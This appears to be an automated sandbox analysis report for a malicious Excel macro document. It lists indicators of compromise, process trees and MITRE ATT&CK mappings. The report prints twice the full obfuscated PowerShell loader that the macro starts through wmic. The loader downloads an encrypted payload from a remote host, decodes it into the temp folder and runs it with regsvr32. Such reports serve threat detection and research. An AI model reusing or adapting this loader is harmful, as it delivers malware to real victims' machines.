fc27d175081d94e309d0b60062c573b3975dcdcd70545f8be8af8a11ba616b96

Analysis

max time kernel
138s
max time network
137s
platform
windows10_x64
resource
win10v200430
submitted
16-07-2020 13:27

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General

Target

8-409-98186.xlsm
Size

45KB
MD5

2540aea01c233fc9be8a70a5ad3b23b1
SHA1

66f7d36292484d031ebcac700230dbb4f6f3c70b
SHA256

fc27d175081d94e309d0b60062c573b3975dcdcd70545f8be8af8a11ba616b96
SHA512

050bd4ad6ddb06b31f7c94e674568737727521ee1db0a8ec22ce5cd176946e7e07027e5cf1469242311688862560926a777ee879367fac8ddad1142bf4b63f6f

Score

10^/10

Malware Config

Signatures

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
3656	EXCEL.EXE
3656	EXCEL.EXE
3656	EXCEL.EXE
3656	EXCEL.EXE
3656	EXCEL.EXE
3656	EXCEL.EXE
3656	EXCEL.EXE
3656	EXCEL.EXE

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1616	3656	wMiC.exe	65
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3020	1060	POwERSheLL.exe	67

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3656 wrote to memory of 1616	3656	EXCEL.EXE	75
PID 3656 wrote to memory of 1616	3656	EXCEL.EXE	75
PID 3020 wrote to memory of 3388	3020	POwERSheLL.exe	79
PID 3020 wrote to memory of 3388	3020	POwERSheLL.exe	79

Blacklisted process makes network request 1 IoCs

flow	pid	Process
23	3020	POwERSheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3656	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1616	wMiC.exe
Token: SeSecurityPrivilege	1616	wMiC.exe
Token: SeTakeOwnershipPrivilege	1616	wMiC.exe
Token: SeLoadDriverPrivilege	1616	wMiC.exe
Token: SeSystemProfilePrivilege	1616	wMiC.exe
Token: SeSystemtimePrivilege	1616	wMiC.exe
Token: SeProfSingleProcessPrivilege	1616	wMiC.exe
Token: SeIncBasePriorityPrivilege	1616	wMiC.exe
Token: SeCreatePagefilePrivilege	1616	wMiC.exe
Token: SeBackupPrivilege	1616	wMiC.exe
Token: SeRestorePrivilege	1616	wMiC.exe
Token: SeShutdownPrivilege	1616	wMiC.exe
Token: SeDebugPrivilege	1616	wMiC.exe
Token: SeSystemEnvironmentPrivilege	1616	wMiC.exe
Token: SeRemoteShutdownPrivilege	1616	wMiC.exe
Token: SeUndockPrivilege	1616	wMiC.exe
Token: SeManageVolumePrivilege	1616	wMiC.exe
Token: 33	1616	wMiC.exe
Token: 34	1616	wMiC.exe
Token: 35	1616	wMiC.exe
Token: 36	1616	wMiC.exe
Token: SeIncreaseQuotaPrivilege	1616	wMiC.exe
Token: SeSecurityPrivilege	1616	wMiC.exe
Token: SeTakeOwnershipPrivilege	1616	wMiC.exe
Token: SeLoadDriverPrivilege	1616	wMiC.exe
Token: SeSystemProfilePrivilege	1616	wMiC.exe
Token: SeSystemtimePrivilege	1616	wMiC.exe
Token: SeProfSingleProcessPrivilege	1616	wMiC.exe
Token: SeIncBasePriorityPrivilege	1616	wMiC.exe
Token: SeCreatePagefilePrivilege	1616	wMiC.exe
Token: SeBackupPrivilege	1616	wMiC.exe
Token: SeRestorePrivilege	1616	wMiC.exe
Token: SeShutdownPrivilege	1616	wMiC.exe
Token: SeDebugPrivilege	1616	wMiC.exe
Token: SeSystemEnvironmentPrivilege	1616	wMiC.exe
Token: SeRemoteShutdownPrivilege	1616	wMiC.exe
Token: SeUndockPrivilege	1616	wMiC.exe
Token: SeManageVolumePrivilege	1616	wMiC.exe
Token: 33	1616	wMiC.exe
Token: 34	1616	wMiC.exe
Token: 35	1616	wMiC.exe
Token: 36	1616	wMiC.exe
Token: SeDebugPrivilege	3020	POwERSheLL.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3020	POwERSheLL.exe
3020	POwERSheLL.exe
3020	POwERSheLL.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8-409-98186.xlsm"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
PID:3656
- C:\Windows\System32\Wbem\wMiC.exe
  wMiC prOCeSS CalL 'crEaTe' "POwERSheLL -WIN hIDden -nOniNteraC -execUTIo BYPaSs -noproF Set BM (([CHAr]34).ToStRING() ) ;SV ('6S') ( [STRiNg][CHAr]44 ) ; "\"nal vp New-Object -F;`$aa='rexo';`$cc='om /mabu';`${Yl}='';`${S}=0;`${G}=1;`${n`N}=10*10;function m`2(`${ih}){`$(`${iH}.substring(`${g}) -replace('-'${6S}`${Y`L})) -replace('S'${6S}`${YL});return `${_}};`${MK}='a';`${y`M}='n';+'';`${CC}=`${CC}.split(' ');`${S`s}=&('m2')((.('g'+'wmi') ('Win'+'3'+'2_c'+'omp'+'utersystempro'+'duct')).uuid);`${e}='ht'+'t'+(${BM}{1}{0}${BM}-f ':/'${6S}'ps')+`${Cc}[`${G}]+`${Aa}+'.c'+(`${cc}[`${S}${6S}`${g}] -replace '(\D{5})'${6S}'/')+'?'+`${sS};.('sa'+'l') ('ss') ('regsv'+'r3'+'2');&('Si') ('Va'+'r'+'i'+'able:/f') `${E}.replace(' '${6S}`${yl});`${H`B}=`${Y`m}+'t';.('Sv') 1 ${BM}Net.WebClie`$hb${BM};&('SI') ('Variab'+'le:C'+'2') (&('vp') (.('Gv') 1 -Va));&('SV') ('c') ${BM}DownloadDat`$mk${BM};`${o`Ad}=(([Char[]](.('V'+'ariabl'+'e') ('C2') -ValueOn).((.('Va'+'riable') ('c') -Val)).Invoke((&('Vari'+'a'+'ble') ('f')).Value))-Join`${y`L});`${T`FG}=`${EN`V:t`eMp};`${mI}=(`${d}=.('gc'+'i') `${T`FG}|&('get'+'-ra'+'ndom')).name -replace ${BM}.{4}`$${BM};`${W}=`${t`FG}+'\'+`${mi}+'.';`${vM}=`${o`Ad}.substring(`${s}${6S}`${G});`${p}=[int]`${VM}*`${nn};`${l`qA} =`${o`Ad}.remove(`${S}${6S}`${G});`${PL}=`${L`qA} -split'!';`${J`P}=[Text.Encoding]::UTF8;function va(`${zx}){`${sa}=[Convert]::FromBase64String(`${zX});return `${S`A}};foreach(`${iT} in `${pl}[`${s}]){`${g}=@();`${P`pT}=`${vM}.ToCharArray();`${It}=.('va')(`${it});for(`${J`l}=`${S}; `${J`L} -lt `${IT}.count; `${jl}++){`${G} += [char]([Byte]`${I`T}[`${J`L}] -bxor[Byte]`${p`Pt}[`${j`L}%`${P`PT}.count])}};`${V`V}=`${l`qa}.Replace((`${PL}[`${s}]+${BM}!${BM})${6S}`${j`p}.GetString(`${g}));[io.file]::WriteAllBytes(`${W}${6S}(.('va')(`${VV} -replace ${BM}.{200}`$${BM})));if((.('gc'+'i') `${w}).Length -lt `${p}){exit};&('sle'+'ep') 22;.('ss') -s `${w};.('sle'+'ep') 29;[io.file]::WriteAllLines(`${w}${6S}[regex]::replace(`${Ss}${6S}'\d'${6S}`${M`K}))"\" |&( $PshOME[21]+$PShomE[34]+'x')"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of AdjustPrivilegeToken
  PID:1616

C:\Windows\System32\WindowsPowerShell\v1.0\POwERSheLL.exe
POwERSheLL -WIN hIDden -nOniNteraC -execUTIo BYPaSs -noproF Set BM (([CHAr]34).ToStRING() ) ;SV ('6S') ( [STRiNg][CHAr]44 ) ; "\"nal vp New-Object -F;`$aa='rexo';`$cc='om /mabu';`${Yl}='';`${S}=0;`${G}=1;`${n`N}=10*10;function m`2(`${ih}){`$(`${iH}.substring(`${g}) -replace('-'${6S}`${Y`L})) -replace('S'${6S}`${YL});return `${_}};`${MK}='a';`${y`M}='n';+'';`${CC}=`${CC}.split(' ');`${S`s}=&('m2')((.('g'+'wmi') ('Win'+'3'+'2_c'+'omp'+'utersystempro'+'duct')).uuid);`${e}='ht'+'t'+(${BM}{1}{0}${BM}-f ':/'${6S}'ps')+`${Cc}[`${G}]+`${Aa}+'.c'+(`${cc}[`${S}${6S}`${g}] -replace '(\D{5})'${6S}'/')+'?'+`${sS};.('sa'+'l') ('ss') ('regsv'+'r3'+'2');&('Si') ('Va'+'r'+'i'+'able:/f') `${E}.replace(' '${6S}`${yl});`${H`B}=`${Y`m}+'t';.('Sv') 1 ${BM}Net.WebClie`$hb${BM};&('SI') ('Variab'+'le:C'+'2') (&('vp') (.('Gv') 1 -Va));&('SV') ('c') ${BM}DownloadDat`$mk${BM};`${o`Ad}=(([Char[]](.('V'+'ariabl'+'e') ('C2') -ValueOn).((.('Va'+'riable') ('c') -Val)).Invoke((&('Vari'+'a'+'ble') ('f')).Value))-Join`${y`L});`${T`FG}=`${EN`V:t`eMp};`${mI}=(`${d}=.('gc'+'i') `${T`FG}|&('get'+'-ra'+'ndom')).name -replace ${BM}.{4}`$${BM};`${W}=`${t`FG}+'\'+`${mi}+'.';`${vM}=`${o`Ad}.substring(`${s}${6S}`${G});`${p}=[int]`${VM}*`${nn};`${l`qA} =`${o`Ad}.remove(`${S}${6S}`${G});`${PL}=`${L`qA} -split'!';`${J`P}=[Text.Encoding]::UTF8;function va(`${zx}){`${sa}=[Convert]::FromBase64String(`${zX});return `${S`A}};foreach(`${iT} in `${pl}[`${s}]){`${g}=@();`${P`pT}=`${vM}.ToCharArray();`${It}=.('va')(`${it});for(`${J`l}=`${S}; `${J`L} -lt `${IT}.count; `${jl}++){`${G} += [char]([Byte]`${I`T}[`${J`L}] -bxor[Byte]`${p`Pt}[`${j`L}%`${P`PT}.count])}};`${V`V}=`${l`qa}.Replace((`${PL}[`${s}]+${BM}!${BM})${6S}`${j`p}.GetString(`${g}));[io.file]::WriteAllBytes(`${W}${6S}(.('va')(`${VV} -replace ${BM}.{200}`$${BM})));if((.('gc'+'i') `${w}).Length -lt `${p}){exit};&('sle'+'ep') 22;.('ss') -s `${w};.('sle'+'ep') 29;[io.file]::WriteAllLines(`${w}${6S}[regex]::replace(`${Ss}${6S}'\d'${6S}`${M`K}))"\" |&( $PshOME[21]+$PShomE[34]+'x')
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3020
- C:\Windows\system32\regsvr32.exe
  "C:\Windows\system32\regsvr32.exe" -s C:\Users\Admin\AppData\Local\Temp\sa.9PHNB71MKR4J_0_0010_.Public.InstallAgent.
  2⤵
  PID:3388

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3656-0-0x000002242D71B000-0x000002242D720000-memory.dmp

Filesize
20KB

Download
memory/3656-1-0x000002242D71B000-0x000002242D720000-memory.dmp

Filesize
20KB

Download
memory/3656-2-0x0000022426E78000-0x0000022426E7B000-memory.dmp

Filesize
12KB

Download
memory/3656-3-0x00000224270E8000-0x000002242714F000-memory.dmp

Filesize
412KB

Download